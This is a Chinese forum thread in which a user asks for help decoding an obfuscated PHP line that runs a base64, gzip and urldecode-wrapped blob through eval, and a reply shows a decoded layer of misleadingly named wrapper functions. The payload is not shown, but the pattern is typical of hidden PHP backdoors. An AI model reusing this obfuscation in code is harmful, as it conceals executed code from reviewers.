求助一段代码的还原（与base64编码有关）

qnbs1

eval(urldecode(gzuncompress(base64_decode('eJw9UUnPokAQ/TWe5mIj6xEQlJbVT0W4TJodZJGGhpZfP+1kMsmr5NXyXlVS+YLaHScT3GZ5OmQ54+VG+nTo3jifJpYmaMpF/vf/9o6Tcrgqd3cm5abed5xGx1zB1kknP1cEnMhSY/cE+E4vz+jVQ9xN52ezl27QnMS5ftre8hPP1A6YMqvD2asuZJbAShST7jhzvN5mZ9wYa41H/sS+gNRrs9fuYtEqoRW1wZm8OX64JYRSQypBg829H6J1WUkHx2DB8EG57IiMQhC49BB9qKPHtS8qlmzgtnIoiHNoA+08JM1GIlhWbRtcUzvR9PTvWmQ7Vz8lcpeyC03PvUVO4sOP4YoS7WHVh54uyoV1eoX8jB4LxzQY3F98xZs9H5ey4bFKFwtrqo8VDqJhYT4M4qkgC8Duy5zZwEUcI3zzrTipW1gobxd8jbrqImgGij5+1vJPKSiTqyloZwDu0VhfrGGOmloVa3FCUtpTowTlRy72l3SkEaoK8RB+ar3qt0X3TJ0csiOzXF33EPBLeLQblZoQTsuq7921V03WlMtu+34QWwb7tfRrxynf+IeD9geAebC0' ) )));
MS跟编码有关系，用在线的base64编码工具，下载软件都试了，老是乱码。所以只好来求助了
还有eval函数是什么意思。这个不太懂。
希望大家帮忙 。。。

younluve

我试了一下
function run_strtext($code){return eval($code);}function connect_sqlmysql($code){return base64_decode($code);}function met_encode($code){return base64_encode($code);}function stritoiower($code){return gzinflate($code);}function strtoiower($code){return gzdeflate($code);}